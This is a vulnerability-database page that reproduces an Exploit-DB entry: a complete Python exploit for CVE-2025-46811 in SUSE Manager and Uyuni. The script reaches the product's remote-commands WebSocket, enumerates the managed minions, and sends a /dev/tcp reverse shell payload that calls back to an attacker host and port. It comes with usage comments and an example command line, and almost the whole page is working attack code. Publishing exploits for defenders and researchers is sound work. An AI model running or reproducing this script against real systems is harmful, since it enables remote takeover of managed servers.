Lucene search
K

SUSE Manager 4.3.15 - Code Execution

🗓️ 30 Apr 2026 00:00:00Reported by wjmaj98Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 58 Views

Exploits CVE 2025-46811 in SUSE Manager and Uyuni for remote code execution.

Related
Code
# Exploit Title: SUSE Manager 4.3.15 - Code Execution
# Date: 29.01.2026
# Exploit Author: Wiktor Maj
# Vendor Homepage: https://www.uyuni-project.org/
# Software Link: https://github.com/uyuni-project/uyuni
# Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15
# Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0
# CVE: CVE-2025-46811

# Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni.
# Set up a listener session in a separate terminal.
# After the payload is sent, switch to your listener terminal to check if a shell pops up.
# Example:
# python3 cve-2025-46811.py --ip 192.168.10.126 --port 443 --host-ip 192.168.10.113 --host-port 9001 --ssl


#### PROGRAM CONSTRAINTS ####
PAYLOAD = f"sh -i >& /dev/tcp/HOST_IP/HOST_PORT 0>&1"  # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args
CONNECTION_RETRIES = 4  # number of connection attempts
CONNECTION_DELAY_BETWEEN_RETRIES = 15  # seconds
WEBSOCKET_TIMEOUT = 10  # seconds
##############################

import argparse
import json
import socket
import ssl
import sys
import time
import websocket


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(description="Implementation of CVE-2025-46811 exploit for SUSE Manager & Uyuni.", add_help=False)
    parser.add_argument("-h", "--help", action="help", default=argparse.SUPPRESS, help="Display this help text and exit.")
    parser.add_argument("--ip", required=True, help="Victim IPv4 or hostname.")
    parser.add_argument("--port", type=int, default=443, help="Victim port (default: 443).")
    parser.add_argument("--host-ip", required=True, help="Attacker host IPv4 or hostname.")
    parser.add_argument("--host-port", type=int, required=True, help="Attacker host port.")
    group = parser.add_mutually_exclusive_group()
    group.add_argument("--ssl", dest="ssl", action="store_true",
                       help="Use SSL/TLS for the WebSocket connection (default).")
    group.add_argument("--no-ssl", dest="ssl", action="store_false",
                       help="Disable SSL/TLS and use plaintext WebSocket.")
    parser.set_defaults(ssl=True)
    return parser.parse_args()


def resolve_target(hostname: str) -> str:
    return socket.gethostbyname(hostname)


def receive_preview_minions_message(websocket_connection: websocket.WebSocket) -> str:
    while True:
        try:
            message = websocket_connection.recv()
            if message:
                print("Received:", message)
                if isinstance(message, bytes):
                    message = message.decode("utf-8", errors="replace")
                return message
        except websocket.WebSocketTimeoutException as exception:
            raise RuntimeError("Failed to receive preview minions message") from exception


def decode_preview_minions_message(message: str) -> list[str]:
    try:
        preview_output = json.loads(message)
    except json.JSONDecodeError as exception:
        raise RuntimeError("Preview response is not valid JSON") from exception
    if (
        isinstance(preview_output, dict)
        and isinstance(preview_output.get("minions"), list)
        and preview_output["minions"]
        and all(isinstance(entity, str) for entity in preview_output["minions"])
    ):
        return preview_output["minions"]
    raise RuntimeError("Preview response expected non-empty 'minions' list")


def receive_preview_minions(websocket_connection: websocket.WebSocket) -> list[str]:
    message = receive_preview_minions_message(websocket_connection)
    minions = decode_preview_minions_message(message)
    return minions


def select_minion(minions: list[str]) -> str:
    print("Available minions:")
    for minion_id, minion_name in enumerate(minions, start=1):
        print(f"{minion_id}) {minion_name}")
    prompt = "Select minion number (default is '1', or 'c' to cancel): "
    while True:
        choice = input(prompt).strip()
        if choice == "":
            return minions[0]
        if choice.lower() == "c":
            print("No minion selected. Exiting.")
            sys.exit(0)
        if choice.isdigit():
            index = int(choice)
            if 1 <= index <= len(minions):
                return minions[index - 1]
        print("Invalid selection.")


def connect_to_websocket(target_ip: str,
                         port: int,
                         use_ssl: bool,
                         sslopt: dict,
                     ) -> websocket.WebSocket:
    scheme = "wss" if use_ssl else "ws"
    try:
        return websocket.create_connection(
            f"{scheme}://{target_ip}:{port}/rhn/websocket/minion/remote-commands",
            timeout=WEBSOCKET_TIMEOUT,
            sslopt=sslopt,
        )
    except ssl.SSLError as exception:
        if "WRONG_VERSION_NUMBER" in str(exception):
            raise RuntimeError("Websocket seems to be unsecured, try with --no-ssl") from exception
        raise
    except websocket.WebSocketBadStatusException as exception:
        if exception.status_code == 400:
            raise RuntimeError("Websocket seems to be secured, try with --ssl") from exception
        raise
    except TimeoutError as exception:
        raise RuntimeError("Websocket is likely under firewall") from exception


def get_minions(target_ip: str,
                port: int,
                use_ssl: bool,
            ) -> tuple[websocket.WebSocket, list[str]]:
    sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False}
    for attempt in range(1, CONNECTION_RETRIES + 1):
        websocket_connection = None
        try:
            websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt)
            websocket_connection.send(json.dumps({"preview": True, "target": "*"}))
            minions = receive_preview_minions(websocket_connection)
            return websocket_connection, minions
        except (
            websocket.WebSocketTimeoutException,
            websocket.WebSocketConnectionClosedException,
        ):
            if websocket_connection is not None:
                websocket_connection.close()
            if attempt == CONNECTION_RETRIES:
                break
        time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES)
    raise RuntimeError("Target websocket is not vulnerable or not reachable")


def send_payload(websocket_connection: websocket.WebSocket, target: str) -> None:
    payload = PAYLOAD.replace("HOST_IP", args.host_ip).replace("HOST_PORT", str(args.host_port))
    websocket_connection.send(json.dumps({"preview": False, "target": target, "command": payload}))


if __name__ == "__main__":
    args = parse_args()
    websocket_connection = None
    try:
        websocket_connection, minions = get_minions(
            target_ip=resolve_target(args.ip),
            port=args.port,
            use_ssl=args.ssl,
        )
        selected_minion = select_minion(minions)
        send_payload(websocket_connection, selected_minion)
        print("Payload sent, closing.")
    finally:
        if websocket_connection is not None:
            websocket_connection.close()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 49.3
CVSS 3.19.8
EPSS0.06073
SSVC
58